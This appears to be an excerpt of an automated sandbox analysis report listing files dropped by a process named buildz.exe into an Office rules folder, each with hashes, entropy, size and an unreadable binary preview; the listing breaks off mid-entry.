SHA1:	C362F571E8C5BA67C42AB52EA94683B45E903B92
SHA-256:	643F4D0B3D8E9E9969B63E763ABF309C893114A05A381AB62DFCE58061FF1650
SHA-512:	1B6FFE910BD7E7A8838FF3A6F280341669FF686E975362D4FAA2F88D88BF399C00F0E27BCA984AA282CE4AC1EE4608AA386E848345AF6626EC6950B1DA36F52A
Malicious:	false
Reputation:	unknown
Preview:	.<?2...eNv7#t.4u".@.W.#i.....{@3.5>@.^=.{yJz..(...&.F..D>.d. ..Y\|....+"...gD..Y....of.mk.l.3_.....,....~..r.xM4..;O^.+p.}._Tc?.5.8,R.+C..^U](`...N...{n.yV6....=...wXg$.q_<SQ.v..M.V.x6.."kVJ.....5....X.mr.:.J..I.....rM..{..2}..L.y...........V.cKY.z~).,Ik..x...O.!.a..@v.B..].._.~..l..)k.;.j.kIM.x2.h.F......K..X...(.+.%..R.F..$E.........^..\|.....(!..@ "<.6"g.f.......~y...`..0...,M.h.......#oNo.?.N.U..{g[V2.L!...n.z.x.)/...D.MO.Y....5hC..24.Hs...d-?vd.s....\..L..B\...`.).K.L........S@"c..g.E......7.m.r.n.}6._..._...G.i. .z..f.t..p.\..x...c.....K.u@+g..D.\|-w`7NB..h$..b.y..o..A.v..x...iWJZY&.K..x..;...W.V.7s..$..B.TA.............{..v.g.:..X.4..-....5..~..p...*...E.6e7M$2...x..`.....=....V.r...cu..."..3.GJ..._.4d..c'...j....K-~U.2..c.7.+$#..X.k).V...;.[.y.....5~.i........%.06.m..R.4..y..-L.....\|............g.Bs...L...j...[.2..!a/.....S...!..?.s.`P3}..._.........55.j#..r..5..6.g.i.O.K.(P..X.o(..{.f>.d..X...........y\|X....d...c......z.$.xS..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702101v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.880201941104751
Encrypted:	false
SSDEEP:	24:pSW4mba6PEeqxlpAXoq1wscqJnSeBxt0/sSr0ndFpdMD7wCYFPbKLWh1fFsso9qX:pBXseOpAX319JnVksp/SCFPbM697D
MD5:	45053804673A5C37127988F9E7DAC7F1
SHA1:	211B94B7AD10487587650B4AFEFA58650F931C40
SHA-256:	A74703A5807F2AA618D4E83F7837A521306800B9E9545DE29AE5431B3EE3CA04
SHA-512:	AF7749CF5837A24F9E3096DD2A45DC6C00F5AEF6FD2B44861878AF11FE66C92E20FE38050D6549365E5E4553C7F60EF3A62CD425421B81FC740BB4B11C4F744F
Malicious:	false
Reputation:	unknown
Preview:	.<?..B.eZ......V.PG...phJ.0....A..T.Y...U...\|'B....D.S7.k.N..Q.n.mN.@.. .....z...=.=.~.0w.r.td...]...c..D1.3y......5...S.Ky...\............v.~U.t.K..L....n.....25P.._.o+...l.f.......>.f..$6C......X..j/>.3..H.\|..{.Kh..}..3so5w..I.@.......\g8..,.W@._.Hm'.`..G^.J3..^:...nb}[..0.n..].=D.l.R..#c85.{3H.79z.p..7c.P%g.J..(..Q"r..... x..,./.F_n.x.......c..n5hC(H......\|..%..v.9..S...d.>...........:`8..,..sd.2...a....\.^e.....Id....\.D.X.A.........K}.u..zZ..G]..V....v.&...m..GZ{......D.C.......C.9!.k..R....K?5=%.Ze.>n.U..-(.!.j..6....-.0X\|...5.:..pZP.......D).9..$.YcLK.Xy.......F.<.........b."........c...^..xJ.....V..CI..b..b.."U.$D.Q..j.D.d*B..lnH.\.,.ej4+)...$.MG...6P.....).c."V.......gV.&.. 2....(e..MA1...e.n.@.?..r.....{f.n:. . .K..CO....).]..'....C.XQ........fS..I..X.M.....sp..z......._{...ql8.(..0.P...}...A6./}....s..q=&qj!...k._...D..G.BQ(.(...7F..`....1l..j....+;...^.....:..I..x...[....8m.M..x.M...)D$x;.P..U..V.fDA.)..]..%$.n...B........[....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702150v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.8727660436090945
Encrypted:	false
SSDEEP:	48:TJt4Y+p6n5Vep3RdtTsyrM/kR5Jx6ZMz6XoWS7SVCIQsD:TJiLpC5Vs3lAyASXmMWXoWQRY
MD5:	BFA40068B5D300BA9ADC5E9CF4004DB0
SHA1:	C640FC4736C53AE1CB71474AAE0F53D7B1CF8EE9
SHA-256:	61F182C66439836BF6508AC8CBEB627A4DA51DEB2619560CF2F46E371C10A587
SHA-512:	60CE20F1B1C619E920AF500EE5CAB72D913EA3E3A8F588752E5C63E3BFF9656698CE6603808B9F4CA3DDBAF247003AEE2E29320029F4D41D1F4F042A2EFBA42B
Malicious:	false
Reputation:	unknown
Preview:	.<?#......N..&..e-.`.I+...~.'VP.s2...].\|......y....7.;!J..:..tzpFtK.....A.,.d......{..JN..D.SU.{N..r..........dvbI7[pVblE.pQ,...miGe...0.m.@(....q7wht.c....9...^W.Uc."..9v..m.%&......?...s[Il....A.`d...A..)?..t:....E..Sz.......w..`..._...}...}.).e.Q.i.....P.8.>...^\|.j..%..V./>...s.~`[..G.,..2H.w.m....5...A.....H/.o...Y..e.R............I.r..Q...5......[~.._..Z.W-?G..9.^...Q^...{.+..X...t...?o<.?.R..'....-.......i...b..%.._..H.iBm............d B8..:0...S.=y......`Q?1H[Q.O...2..3....8......'.....\|...............1.B......h.S]..N..r..G....<.<..o.../..../.X..<F......c......%.m}K\`t..QA.~Og).=..bA$.aE\....Rd3llG[.O...#...L..z.<q.....C\|..{.f"...M...R.[9e..b.p%..\.[..f.._....5....\.Q[..U.t......o..u....@.}.n...(..4..uG..).4Q"..e..m`eu...`d8...)%9.l"]......O...K:./.....?..{.u..G.........]...t^.LD..t0..x.J..9..._z._c.........c.o.!O...c.?.a.n.t.....?.d5....v..T.Mx.[.W8.Q.....L.?{....=.$...m.S..J....d...I.E1..=..A@......a....T.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702151v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.903724450922866
Encrypted:	false
SSDEEP:	24:Ae8S7BnIXkbnEBGY6gufF7txLuuolDfzBaEAtsGcHsCDAFGmiISxRvoCSDbD:X8SWXp56g4puuO71fmx2s3MHIHXD
MD5:	47E35928C764060F28DD71984F0EB6AA
SHA1:	A58F34E57D607937FA76C27FF866A2BB63D357A5
SHA-256:	3FDEAF4DE57DF85660AB62A123052CBEB7C4AFD6843FA6571EE16D117641BCBF
SHA-512:	F71D780F44D2160B9A0EE08CEA4D2463F1FFAAB6A58125FFA9BB2AAC1DFCFA4C9EDADE1AB72F524C8FA6D68DF3CD71351132D94E6462D66188F64CDDED333967
Malicious:	false
Reputation:	unknown
Preview:	.<?tSs-v......N..K.;b.Y3b..K..b.v......'\|....AR..w4.].W.dj..\|R...>g.\......b9...J$.].u!....RJ....,...\..^.g....>e....]..=$[...>. TX..s..;...........,j.'l......;.a.<..M&X.T...2.\_.4.~._.V..>.+;.... ....;..H....A!.. w.;....q...$......?T.c......z\......{....>.E..L`.(Q....1...L.....p.@....F......5U..V`6..K..c.!...u......@....-.YR.0u...5[..n..Bp....f. .r.......#'..mZm...@.&.....f..'...YC..&p.....H.m..cd..,..9.........q.0..(.wi.....q.c....D...%...I.......]...eKg.ai.....:z..yD.n.[.f.....].q.Y....`v........=......n...L.p.........Y[z..r..C....m0.)....L..x..XrAG.nl...m..].......~.h.{..1^...}..X.1A.m%.b....J^.....4k..o..X3..Q......!..l1...[..+W..T..Fq...qBQ...Y4.\|.i7N...."....a.N.......l....hs...........a..j.4c.ntx>..Y..-..L..z9;GY..o..<P.p...gl..E......%.bH!..M,.Q!..c/.R..?....=..$...z<....l.@!...v.....G)....U..6.....$..F...>..g..C...k-...n...S.M.Du!up....8.E.Y.Z..[V>......_.=..T.x....]...@..Oj(...h..T....S....OQ..E{..f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702200v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	, OEM-ID "<?G\317\", Bytes/sector 25952, sectors/cluster 146, reserved sectors 5215, FATs 188, root entries 39113, sectors 7273 (volumes <=32 MB), Media descriptor 0xfa, sectors/FAT 54015, sectors/track 56770, heads 29, FAT (1Y bit by descriptor)
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.87281067892772
Encrypted:	false
SSDEEP:	48:ZVGnDMnqBSLJJGLrLtFsrERlIvPuC0cpcN2RaZVD:ngDVSLvGLtFwEXIvGCNpcNHr
MD5:	155803550A878A8C46F34CB62BF4E275
SHA1:	A33C38B423C77C2D81951EE2F67404DC589BEA38
SHA-256:	CA7AA92BD7DB379A13815DD30B8EE67B4C50407A8EF7430B014C726CA989571E
SHA-512:	86941D1F5FDFB372641D71659C6D10C7F9D57989E772F33B56AEA82E347ED81AE80B5E1D53B680F1B7DE47ADBDECE3B008BA3C26E917623BBB8775D6FC2F6C31
Malicious:	false
Reputation:	unknown
Preview:	.<?G...Ag`e._...i.........Y.d.M.=9`(..a...8)2..$g...(...%..B.-..'B...3...l%..._.\n.k.....8%.X.U_.Fb%x...U[Q....A...=.U. ...4....LQp......G.#..C.[q...}............_=.33s.a........H.x..H2.h".....cU..0(..>...p.Mh_.B..:.T.S!...L.b.k!.......z.......F.q..hhJ......&k..5..........`z....c..K$..W......'9......Z..2Z..6Y6.0...y.R.9p.A. ...s.u.O..1..{ ...GP...J..l.0..W.(.!...,A ....9Y.G!..t.....,;..\|.f....&:.T.".g...A..W.j.?3.2?3.A#..MN.$...(.Z...h........g.BJ..kY.........s..gLc..e.n7...T..SF..?fW...H..l..$g.....N..;..8\|..._..=K.h.J.Xl3..4B..A..NYr......M..y.m..8u6zNe..H.%.....g.......S..;....l...P...........Z..}.U..S.K.J.].\.....i$..UL..L,.......Yv.....w.....C.q..!..,,...l-.e......g...=.$..;7.Is.fm'.....8dN..r...@Z......5...E.._H.s.)dE.........V..8..a... lY.o...x....!.0.M..qJ.z..g(..?>...i.m%..v....sN.....[zb...[.e#...Jp..&OU\|..T...4.....g`....T2(C..KX}.1...e.{....#.e.x.......f\......%D..9St..I.h.P....}....G...../O.\|0D..h.i...n.K..dL.P......"

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702201v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.900588846270849
Encrypted:	false
SSDEEP:	48:uGm0DSngStunwwuANZD1LwLR+K3305dK0yD:uR0egVwtUD1q130i
MD5:	D29BD88251F8CA7D45100D58B0EAAAB3
SHA1:	B5D702FD4AC25949BBF96EBA150C05ACB1434DC8
SHA-256:	C1772528DC9C8A658266A086435F2C8602D424DBF0CB63639BD537C9173C4B62
SHA-512:	78A7A53119624EA8BF8C47A96DDC242E27D04EDA3A64F42D4768050377147A1881A3C27F973371CED0CD5E2D1FBA893015FC68E9428E4C3239DDD339F41DAE55
Malicious:	false
Reputation:	unknown
Preview:	.<?..!....DH..["&E!......uC......#[.,v.;..G$B{....`I.jF..s....t......+..Q.aU..zSEq.[.L~.'......V...JUJ..)....x.dr[.:...Sj.......}..q:u.....0n[..G.............mss..)$\|..c....x;..79.Cu.0....C..#...Fx...Nd.S..qe.@.B.[....X...).6.k.<^...^_'.!....,~.p.....T...nRQ..?".!@.#..7P.....V.5..Jq..).D..6~R.bX....<,..v..G.........kK.pHbdoG..`<..{).N...Y.6...oV.C..\.x.....0..h...#).1f.).^.br.-..MG...&..}.b1..%kf..]..Q......,.Zv.D.=...x.u.r..T'..<.....}..t.-..Tf..#..d_}.....f.I.!..V.... Ljt-.2,.M.n.....z.2.8.LO..:.'....;r....6....).W....}..#........h.H.'.hCf....mjU.@..(n.K..s.........cL.n..Y..gZuADj.'..?.fcZL........R...\g.&.S.W..S(...m.....l.M.<.e?8.Y...3.W+.ao.<.\S.b....r..p.@..%..U2...u.1....'.3..........$..o...B.Ul..mN_>... {.#...e0......=H..._...q.I..H.".?..r....d....zs=.}h...t{..c`%.....iV..c..'\|n..$......v.g......L#.%a3..n....n...L...+.;....AD. ..#.."...6..!...... .&......t...~..N.n.2.....A..Q......I....X....\|..l.;.jt_.#......y...V..p.w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1686
Entropy (8bit):	7.893721064949292
Encrypted:	false
SSDEEP:	48:XdtoOhVVTkqkMzEC7/KWkSeGYHrwIwoDog0gkVBxnD:ttJhjk3WTCM3NxgSz
MD5:	6724E17940FBB3D0D8A101763AF750F1
SHA1:	13F592B024F926BB0D78EE034312CB33B7DD77CF
SHA-256:	A5B440EC9702EDFCF2BAA3644BDAF0979FD6A998DF72DB3436FFE4E8E6B424FC
SHA-512:	677FB68E6D63E19DA1F8D31FEE7904F3FCB62DE0F772E32F4E100DA5E4B2CDBD39DB05D8D65AFC39F6495DE78D6316A308546E7E3B8A7942FF3B68B189944426
Malicious:	false
Reputation:	unknown
Preview:	.<?Sh}......z.r.....y.Rjt.b..y.+pH?.........~.F.9..<.'.m.9..-\|.$f...F..Q.0+s..G9).pk...L.....f..~.6j.@..Vj..x.jyc...@...A.K.......0......O+=.F....%.....M.Hc\m...~.^.9..k.~..On...w._...N.2..(.K\...D&..}.^.9.p\|..tSL..g.^....8..RhL.j..!...;...)LG{.........\|p%>.w.t.3<,.0.........._....J.i._.nO.V.Q.J. .s.._..4<u ..sn......s#t.X0..~..O..=..g..\............. ..L.z.O.B.uX.. .v..S...UW......(./)7.{..?..uiv;...+.!.>.L.G...r.e\|.t..a.......VV.........q... .$...j...xxJ..7....../<:.G..df...n....i`(.....U2.4..}%../-.cC...~..[r#.%....."...a.....w..q..<.].M$.....?n..;....]i...........p..j........Kv....A.....ui....f1....V&)...N.S.6[....d.%V..E...L...k....(.;7....y.I.....AL..4ZC.l-.nI...........z,.)'.n.r...X..._..t..#....N...1.ak].....h?Y.h3_.J....n........MV...V7...\|RH.l..........`. J...Y....~..p...@./RF.r..O.'.R..4...]...........l..wX...}.\..r3H?.=.q../...dj.n.v..A..f.Y..G;D.Z.n...s...........aI...j~.....c.\|...8.W..l..22J..$..0..>..}.......Y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.879229645008485
Encrypted:	false
SSDEEP:	24:lSgXN6fHD6A0sj6KHNdgCNdHukZcdgZ93PI7H3NP/U1pHanQMs/HZDzGHV5+6jt8:r9USsjjKC/ukGda93MXNPM3IuDq0KtgD
MD5:	B4636FC4C2BB9851D9283D45159781AD
SHA1:	6CB21B1CAF8B25958913F37D6318D61E94C9EE8A
SHA-256:	E10445AF552206792E831843086486393C77A08B0A8039964511115E6C0CE93A
SHA-512:	8DAC6F0608210253D9A123E478C8D73271C8C13C3D157EA66274374D29F3904EC80D92D06416209A810510EDE70503FB8AA4D66D5A496F0CBC5CC01B6ED8D7F1
Malicious:	false
Reputation:	unknown
Preview:	.<?...D~..@.p.n...cB....("..?p.4\..9...:.u...`......'......?a.&`..j.......r.f.H.9e..(..L..m..dTj.4..(....:...x.s#z^...g...7.,..yH.. .....u....F.m...L.........F$-.e2..&..........;dK...H.....Q...E..U.(.a.;'..>=.LO.}.....@.DJt...D...P.!..=.=&=..VT./rk..Q/..}R...R..(".&=.....LM.:.d...I,j...'....16..[,...@:...p.^..I~...;.,.0...1.si....._..d.w4..C..,,..3IT.1..{....fY.#.?.....u........v...M....Lh...d..t8j......v..8._M/X.u.........]<j.zZ.Q..H....]i.A.;.E.$.n..D..FA.{.I.SE.U.}..)....:.W....dd3..s.z.=cf..f...<......8.m...=t..v...t3#w..X.m]8B.::K.........>..9+.&{./......<.....<.Lb........FfHHl.VC.Y..6.....lW.0+.........~......V5.k..C~..e+..~.,~....2........Rx......c......{..;..7...\h..!:.....)...+..l.1..0Vw...%L.....-...Tc;..R..(...f...........\|XD..lO.)..`........4...Z....g.....F.4'..=.....G,c..$..6a..f......hn.@...5.&....V[.51.....0...&H.SF.x.R.4...(..Z.t:..J..%9..I....J...&j..nkt.h..?E.>p/.(#.......2..^....$..4x7N....5!w.NNb9.QG.y...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.895537318651906
Encrypted:	false
SSDEEP:	48:pL6HGcljIytffz4MBbBa9O4p+Dpu7JD93waiD:poGcBIylkMzaQ4p+DY55waq
MD5:	60581706D16900E700D0EF729D804F0E
SHA1:	1AF325F0ACA5C3FAB801398C98B8A04975A599C8
SHA-256:	802DAC69632709480050AEF94B566ADE3E371BDE2A554B758AAD3C0D9B4A5328
SHA-512:	57385768332E1F6100595F6069B6F85661B90C6D120E427F12BEB2EC16ADEA80B3292C30CB759EC209E7DDD47BD80AFFD6A71704FE82AAC4A01CC6574677937E
Malicious:	false
Reputation:	unknown
Preview:	.<?...<] b....B'5[.&\|.aDn...?.L\|.v....4^.!.F.b._...@W-7GM...G......Z..Z.L...@@].........xHX.+9....m"..#z... .Y...j.W_..k.!D".a...Y...=.......>.K....j.%'......6..o2..V..&0..}..y.J.D.r....C%B.9..B+......H...[.O...Y..........R..\|.c8.gR.Ce..w.:F+.....z......K....<?.......'.h.h.x......?.t....m..$T.z].5...q.r<..w..a.+Rw..Ow2s..D..B....w3.1.:....U....S..].&L.S3....<..8.......)S.0.....<......Tc..2........&8J...^....W.....R[.An...O....oTnb.`5.\a.#..... .%.j`b...WS..eP.+.r..>...-.3.(x..4R.1~.i.......pwD=.8.Jj.......:k....,.%../;..>..........K.,.C.].....m.S....P...b..~..>UP.<...R.^&1..%.${....v..P......4..v.u..8..1y!;.L..)AAaB...gs..g.E...=.........'.7.7.Z.....4....H....%...4-..$R.O.).{...1.....~...P.>...#.F..@.-d..k8.z.h_.e.^g=...:g...'........Q.IT.'wk:'..z2.-w..Z...e.i.oT0...R~.D.d...N.2.5lR3.e..f...(...Se..G..B...h._..~..T'...r<.V@..{".+....Fk{......?A..)...cL...a.?h.E.$7.y......A..6R.....{.p4....Z.u....$egP>s...z.:.....}XA:..D.d. \m.N..>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.882550060468742
Encrypted:	false
SSDEEP:	24:wAWd1Xk5adqkE3YsqjRLCpu7xi3VVanNKNrpYpxfc/bN+bUW6MRGjkuJo9zbD:qpYkE33qbxiTanYEdc/bDW6MQ7Jo9nD
MD5:	5969B7F1B2873B69B7CA60453D0347B2
SHA1:	DF4A7C266A83621F67872DBE5706C40600B409DF
SHA-256:	18412A4D9AF61BFFE8EA6AB1B1A18749D039B0D713F9ACC1D6BA60DA4D3205C1
SHA-512:	52E78D6A6D1A9F498D2E6FA3232BA62DE9B9A9D0826F17EC386C107B35DD2C13B12E82888156ED7AE04B00D799E0ABD808A5741D940E15C11E5A431D39F15273
Malicious:	false
Reputation:	unknown
Preview:	.<?v......O.b..o........n 9..g.w..q..?..!2Z...?..g...W?WPF0:..=.u1..(ym......z3HC..RC...~I.8+.q..E....V...f.s.{4H.)..0F[...... ...R).8....]....}`N....q`w..a.p.7FlTB...83.d..SF#1...Y.....^.K...(.]F.~.`....mZ..c.j%.....A...7...xt.y.e.S..)....4n.....T.B..u.....e.....X.....N2..A..!....j..B..z.G.?..~.d\...P.<...H.KU...........e#...,....%P.(+....c.%..]a...?.U..j/...e.L.oESE.%:o......9Z..c..W#..D0@..Vh...._Zk{.......&.v.-.........hr.Q1$..j...s..\...;WE ..J..../._w..hU............5...{Y.7..%07.@.....=k..`X....3{.k.o..2}<...z?L&.2F.G-...2.K..5.X......q./.....Q+K.p.3.kJ....,].....pQX..P.......P...YcR7..o...."...}....S..Z.L5k.....b..am.l.'.....x..:...$...@..E$A..N.....6......2a.X.\|..r......~h.Mi/75.mo..H.$...I....w..{.#....).h.V..>!s..q..uK)....b.z.....RV..{.......X.d.._R)..D...=.j.t.......`..y.^.R..^........3q..;V8..B..\2.\|..~.............LsO....$?.O.....A..s.......)..(.&........].Kn.s...x.{......M.J.}.."..D.H=.},.@.9..y(.5...7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.881545031829323
Encrypted:	false
SSDEEP:	48:LuANAtEKRLFd6nJURGhgKfyO3udoEhE0Ze/rkoD:LRAEqRcnRmk+S2M
MD5:	6D83DC209C2C30227125470F4E6F0AB8
SHA1:	60BEA6D3FD155EBDD45DA372C7BAB24256746D71
SHA-256:	9F21C3CBEBBE88CA69DA45C8B0B19A682C857BFA198FB932B2BF16E67CADB5F6
SHA-512:	87CF90430C9D8D760C4E24A821AB34437A0D64EFEA0487F258E03EC2BD5699057B1D40B8B683211B0F4CEF9FDAD4272AAF2445B50B41FDFF1C07B4C23B31FFAB
Malicious:	false
Reputation:	unknown
Preview:	.<? o-.hF....G.../....Q...;.R......d)S..A..sJ...4..+w....x.>.....G..MHZ.A......`.<.S..V.PT.G........?..UE...y.z.F..+p.......`".@.by.e....Sr$0.Jv3.n.i.+._.r...+yx..8.....R^5."h...L.#..0..-......N.....qPi`.5TA.;{....b.rz:)..`..S.._$Rz..}...t.......(.....2M.m..<...(.y8#M8....d....am .f+.... .....K..T.i=I...IB.{Mxx.....z0........?5.e}z.4..W.C.].'..p...t.7.vK.%....M.J.)>U....x.4Y.G@..#BJT.......K...3.jU.....6......%vu.l.1........zZ.#..><aH....YY7..w#2"...y.hL...!....X...i...1....1\|....<eN..t.kT.YQ{.i%..tu.z".<..m-....H.J..l.#.BhK.P.3.C..ua,.v.5Y.....,.q...c48k.0i.#.7.E..QvY...-.H....F.e(...'...S#....F@.E.y..\...W@.fdJY.m.=g r.j.F~..).2..f........!.)3..........z.... ...1..F..(.Z.........~.^"....n..:yD.Z..6..$.....B?..8.......X.$..9.....1..D..E.X..bE..... B.......qf."..3b.tg..Lv.x..UsK....3g.@.k...d.01..L._=.4...?k.&.....E...%....nt..p#m..."..R..F..)...<..ej....D(..L.....Q.kd....\|aZ..._.M.x. .~.[.7IB}.W..&........Xe.Cb.<..wf..v.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.893545728786221
Encrypted:	false
SSDEEP:	24:O5kj6tYHLwGiipWb+sBUWz4k577uff8fOuVwLdsDk7kuTl3F2Iq+MB/EmGqwKMjD:ecpKz92uVKs471YdE3p1jcE5b5D
MD5:	0D14E2E6B064D2F8B63413C7E38DC5C9
SHA1:	807965FB25F4E621E467819FC70D35EDDB060613
SHA-256:	DB3BD26651E14D45333518D0E63DE8B9AA48AD744786066ABA2D8F20725659B9
SHA-512:	8EBDD7F142931F063AAAE2F557BDFC85BCF624FD886BB4B55215907A1AFE0230AE9C42D626F5FB0CF2013A5C44483CEC693CC1AC5A035A1586123B5A9175FE68
Malicious:	false
Reputation:	unknown
Preview:	.<?..a.mi..-I....D...J3..~.x.n1..(.#.P...v.\|2......l...]T..aW.B...O.F..ie.S....v..9".....eC7..E..e7...l...K.^.....:S..GY...o...o..W.p.j...?9.......j).s.K..9..._%e.(......l. .$......2S.X....P...d...M.k._]..]....f...q.c"...q.]..I.......Mx...fm....4.}..g]...........w...U...O..TXa.c..'T4O.dt".......z.....u...N?.....&..'..g...&z...............j ..?..\|Y..f.O..\...'o...@.......vF....k......\|.J.M......[TU.N.B..eu>O.-".`.n.G./.R....Sz..b.s..E...a<f)......u.'.a..L...IC.........&.W....r.G.&.I.C...Q.0.!....pG.L...r.......o...W..\|........E..F,.YfSu......'sG.<......$.ow.S....$.........@.si)=<.h7^...m.kSBw.O..^.4....4.,.J^...g..-"-.&...~.+....e.x..M]....<J.4........../...n........t...).....w[.]..../..Yp..ni.(..9r......r...e..._.`:L...AS....hB=..2.tc._.1.,9...g#.......>%k_E..K.\K.D.Pq.f..9.j..At....H...p.`2.h....Kg...t..JT...X)-....^7....Gf........FAP.v..>.m....w29.v.aE...92@0-..~By....-d..$(......Es..M....,l~..K.........k.{....t.(...+V.(..v........-...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.8975451621346515
Encrypted:	false
SSDEEP:	24:ytw/rRIGQV6xMdf6vH9lLvOwv1jAhd1iORnMR4OtBrluYmdq8d7zWEG6JLuQEF7+:+wTRXsTdcXLvN8hdHMDBuLM8o6JuQEkD
MD5:	9FB7B1C084973C9DA0445615466CE91F
SHA1:	7DCE93700C14641F17123915731DE15F8C3F22DC
SHA-256:	865EC19F108D5792488AB7065A0F309B283C987AA56A0FA665C85DEAEC79E530
SHA-512:	14E5A29CADD47D64185510675197BDB6DD25A526D04F5218AAC30B02AB332FC9BAA2CC7E987F3D9E1250FC541389E36A6E60B419B45F1DACCE8E3F6524776566
Malicious:	false
Reputation:	unknown
Preview:	.<?.G..m.Y......7h$-..6.:7.....q. g.`'S.......mm....f..E.K.I...1..X=qB...m...u(..5I..].\Un.Cy..~..V..hv^..~Dz+.......B=.;... m.t....N.@.r%.&.T....\.H%,........!..r..{....[...-.....b.G?..U.DS.e#.L"F.ra.. ..t....q/BH ...a.....n1.}....i.;.\=.....UO..x.....As..?...>g...j.M..w&.(t....R......:..l.X....$Y.&..D...F..Mk5Z.,..fx..V{rY.........)g..........W.h.F.S..>..7~....sU..B.b.3?..$..)...6.Pk..Nj.]._ao....A89....._..f......j&....m.~..x4.uvl.V!...V[U..e.E.B..=....iQ....][...X.BM.W...l...M.2.?...W....6...ER....P.....1=.`g.]fD...OPu%s>J..te.#.M......)........O.@..=...3..:"...... .....Tl..u}.0..[..(=R..o.=b.`.o1.d..&...6+..%ux.$@. .....H..o.Y..\...6.5.1Pe...].\E.. .....)U.a}e.....y...#J;v.\B......._.b...:./...^.M.... .......D._+.K.s............g.oOv..........r.{>8H.. .O...s.\."..iqe...F..,.L...C..L......f...`..I.ohq........jz..f.....O....Z.o-.N.@..T~.Y.....np......d{-AnzB...Q.&.R+.$....N.:>{............uJ..U... .7...h{.e....u.....FNuG~.T.y.:...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.892287825821623
Encrypted:	false
SSDEEP:	48:Wtl6PUDAdaeYzjdVeVHbPk8nupMlsRVFD:WtQPUc5YfOhhlar
MD5:	13D83BA6B66E181556BE24A7A05D1223
SHA1:	C52144CD682443B308ED58663E5650602ADFF76C
SHA-256:	CCE777C02C8EEA38FD4C3893F389F96AB7E388EB91DD3FEA993320E52E4F01BE
SHA-512:	8502A0845516A94A751858BD1C2AA5F810083362F5107472724F9354ABDEDACCFEFA380782F4863EE7CAD1E055B5C6B6C708F8D954A3DEE0091337601BF93258
Malicious:	false
Reputation:	unknown
Preview:	.<?#...z...~.s.}.-.(.{..4.0.+...8M.....#e.....3.~t+B.tf.NU..8.v..S...T.0UF...r..VW5.G.....I./Z......o.........p+Sf..p.....ZK....9.....Z8.4n..S.%[..U.).9.......N...0S..N.........Q[cq...%c]..0.....5.....fM....O..P....yK.Y..<..../nsx.u.l"..$P.B.[...... .K.-!......(..5.d=...f.....g.)./.H.,.xgh.....R!...F.6..wE......)3.@.Wn..I...\|.A...".Y&l.1..T.........].~y..j$..@V....\|..@2...'..!..sL..ry...H....P....V.....U.....k....M.....w:4!4...Z....'..Y..1.....$...Q....uO..W).$H.s...'.B..H....S.j6!.N.2...1..^.6.t>."Y........tyC......&%>..?$.!.o$J......L.c..t.(.[..+......_.....P...X......H....\|'~..c?6C...2....y. .V'g.L..."<.~...j....4.r.......)s]m.4..w...g..`..h?.zN...G.@..X.}.........;.'..#m.....oT._.....Z7.'Y....5.z.#7J7..0~....kC..V..^..p.......\|.N..'l.....>...n.......n7.....e...J..).D.r#T...O..25..,J..j<...,......h..o.."...'?..j...Y..Kf......?.T.XE..,..]./.A......k.I...\/...k.X..=..F.E.!....f...........a.7.u4.}.7.@..kM.......n.?A.ex.q..Fob.{s,..7.7C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.887320964594224
Encrypted:	false
SSDEEP:	24:TyDLC1WFGYiuzrd/XboJz0ztg3zZ04vfVb30HBA/CKwTrqAHhEr1yLkbD:uD8WFrhDoRN0qKnKvAHKRrD
MD5:	89F3D4AF520C25180F2174709784411F
SHA1:	C809286682761A3B659A26B6FDB17F973497C7BC
